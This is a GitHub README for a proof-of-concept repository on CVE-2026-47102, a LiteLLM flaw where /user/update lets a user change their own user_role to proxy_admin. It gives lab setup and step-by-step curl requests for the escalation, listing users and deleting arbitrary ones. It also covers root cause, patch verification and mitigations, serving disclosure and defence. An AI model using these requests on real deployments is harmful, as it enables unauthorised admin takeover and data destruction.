learner202649/CVE-2026-47102-PoC

GitHub: learner202649/CVE-2026-47102-PoC

Stars: 0 | Forks: 0

# CVE-2026-47102 — LiteLLM Privilege Escalation via `/user/update` | Field | Value | |-------|-------| | **CVE** | **CVE-2026-47102** | | **CVSS v3.1** | **8.8 (HIGH)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-863 (Incorrect Authorization) | | **Affected** | LiteLLM **< 1.83.10**(确认于 v1.83.7) | | **Fixed** | **v1.83.10+**(新增 user_role 字段修改权限校验) | | **Published** | 2026-05-21 | | **Discovered by** | Fenix Qiao (13ph03nix) — Obsidian Security | | **Links** | [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-47102) | ## Description LiteLLM 的 `/user/update` 端点用于更新用户属性。在受影响的版本中,`/user/update` 的 `can_user_call_user_update()` 函数会检查用户是否有权更新指定用户(允许用户更新 自己的记录),但**不对可修改的字段做任何限制**。 这意味着任何能够访问 `/user/update` 端点的用户(例如,被管理员授予了该路由权限的 用户,或通过其他漏洞获得该端点访问权限的攻击者),都可以通过修改自己的 `user_role` 字段将自身角色提升为 `proxy_admin`,获得对所有管理端点的完全访问权限。 ### 攻击链 Admin 为 internal_user 创建带有 /user/update 路由权限的 API key → internal_user 获得 route-level 访问权限 → POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102 → 角色提升为 proxy_admin → GET /user/list (验证管理员访问权限) ### 与 CVE-2026-47101 的区别 | 对比项 | CVE-2026-47101 | CVE-2026-47102 | |--------|---------------|---------------| | **漏洞焦点** | `/key/generate` 未校验 allowed_routes | `/user/update` 缺少字段级权限 | | **攻击前提** | internal_user 可直接调用 `/key/generate` | 需先获得 `/user/update` 路由访问权 | | **修复版本** | v1.83.14 | **v1.83.10** | ## Proof of Concept ### 环境准备 # 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable) docker compose up -d litellm # 等待服务就绪(约 10-30 秒) sleep 15 ### 确认服务运行 # 检查容器日志 docker logs litellm-47102-privesc 2>&1 | tail -10 预期输出应包含 `Uvicorn running on http://0.0.0.0:4000` 等启动成功的日志。 ### Step 1: 创建 internal_user 账户 使用 master key 创建一个低权限的 `internal_user` 账户: curl -s -X POST http://localhost:4002/user/new \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}' 预期输出: {"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"} ### Step 2: 管理员授予带有 /user/update 路由权限的 key 管理员为 internal_user 创建带有 `/user/update` 路由访问权限的 API key。 这是在真实环境中拥有 `/user/update` 端点访问权限的典型方式: # 使用 master key 创建带有 /user/update 路由的 key curl -s -X POST http://localhost:4002/key/generate \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}' 预期输出: {"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"} ### Step 3: 权限提升至 proxy_admin(CVE-2026-47102) 使用上一步获得的带有 `/user/update` 路由权限的 key,将用户角色提升为 `proxy_admin`: curl -s -X POST http://localhost:4002/user/update \ -H "Authorization: Bearer sk-route-key" \ -H "Content-Type: application/json" \ -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}' 预期输出: {"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}} ### Step 4: 验证管理员访问权限 通过 `/user/list` 端点验证角色提升生效(使用原始 internal_user 的 API key, 该 key 无路由限制,提升为 proxy_admin 后自动获得管理权限): # 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制) curl -s -X GET http://localhost:4002/user/list \ -H "Authorization: Bearer sk-internal-user-key" \ -H "Content-Type: application/json" 预期输出: {"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]} ### Step 5: 扩展 — 删除管理员用户 利用获得的 `proxy_admin` 权限,可以通过 `/user/delete` 删除任意用户 (同样使用原始 internal_user 的 API key): curl -s -X POST http://localhost:4002/user/delete \ -H "Authorization: Bearer sk-internal-user-key" \ -H "Content-Type: application/json" \ -d '{"user_ids": ["user-id-to-delete"]}' 预期输出: 1 ### 一键复现 以上步骤已整合为 `demo.sh`,可直接执行: # 完整复现(包含漏洞版 + 修复版对比) bash demo.sh ## Fixed Version Verification 启动修复版本(v1.83.10-stable)验证 CVE-2026-47102 已被修复: docker compose --profile fixed up -d litellm-fixed 创建 internal_user: FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}') FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))") 创建带有 `/user/update` 路由的 key: FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \ python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))") 尝试提升权限(预期被阻止): curl -s -X POST http://localhost:4003/user/update \ -H "Authorization: Bearer $FIXED_ROUTE_KEY" \ -H "Content-Type: application/json" \ -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}" 预期输出(修复版本阻止越权请求): {"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}} 与有漏洞版本对比: | 测试场景 | 有漏洞版本 (v1.83.7) | 修复版本 (v1.83.10) | |----------|---------------------|---------------------| | 路由 key 修改 user_role | ✅ 成功提升为 proxy_admin | ❌ 被阻止("Only proxy admins can modify user roles.") | | 访问 /user/list | ✅ 成功获取用户列表 | ❌ 被阻止 | ## Root Cause Analysis 漏洞根因位于 `/user/update` 端点的 `can_user_call_user_update()` 函数: ### `/user/update` — 缺少字段级权限校验 # 有漏洞的代码 — internal_user_endpoints.py:1197-1208 def can_user_call_user_update(user_api_key_dict, user_info): if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value: return True # 管理员可以更新任何用户 elif user_api_key_dict.user_id == user_info.user_id: return True # ❌ 用户可以更新自己的记录 — 包括 user_role 字段! return False 修复方案(v1.83.10+): def can_user_call_user_update(user_api_key_dict, user_info, data): if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value: return True # 管理员仍然可以更新任何用户和字段 elif user_api_key_dict.user_id == user_info.user_id: # 限制非管理员可修改的字段 allowed_fields = {"metadata", "display_name", "email"} requested_fields = set(data.keys()) forbidden = requested_fields - allowed_fields if forbidden: raise ForbiddenError(f"Cannot modify fields: {forbidden}") return True return False ## Exploitation Technique ### 前置条件 攻击者需要有一个能够访问 `/user/update` 端点的 API key。这可以通过以下方式获得: 1. **管理员授予路由权限** — 管理员创建了带有 `/user/update` 路由的 key 2. **CVE-2026-47101** — 利用 `/key/generate` 的 wildcard 路由漏洞创建通配符 key 3. **org_admin 角色** — org_admin 在某些配置中有权访问 `/user/update` ### 攻击步骤 **Step 1:** 获得带有 `/user/update` 路由权限的 API key **Step 2:** 调用 `/user/update` 提升角色: POST /user/update Authorization: Bearer sk-route-key Content-Type: application/json {"user_id": "target-user-id", "user_role": "proxy_admin"} **Step 3:** 验证管理员权限: GET /user/list Authorization: Bearer sk-route-key ## Patch Analysis (v1.83.10) 修复版本在 `/user/update` 中增加了字段级权限校验: 1. **限制非管理员可修改的字段** — internal_user 只能更新 `metadata` 等非关键字段 2. **保护 `user_role` 字段** — 只有 `proxy_admin` 可以修改用户角色 3. **保持自更新能力** — 用户仍可更新自己的基本信息,但无法提升权限 错误信息:`"Only proxy admins can modify user roles."` ## Repository Structure CVE-2026-47102/ ├── README.md # This file ├── CVE-2026-47102_漏洞复现报告.docx # Reproduction report (Chinese) ├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM ├── config.yaml # LiteLLM config with database connection ├── requirements.txt # Python dependencies ├── demo.sh # One-click reproduction script ├── exploit/ │ ├── exploit.py # Python exploit script │ └── payload.py # Payload builders ├── docs/ └── screenshots/ ## Mitigation 1. **Upgrade** to LiteLLM **v1.83.10+** (fixed /user/update field-level authorization) 2. **Restrict** API key route privileges — grant only necessary routes 3. **Audit** existing users and keys for signs of privilege escalation 4. **Monitor** `/user/update` calls with `user_role` changes for anomalous activity ## References - [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47102) - [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)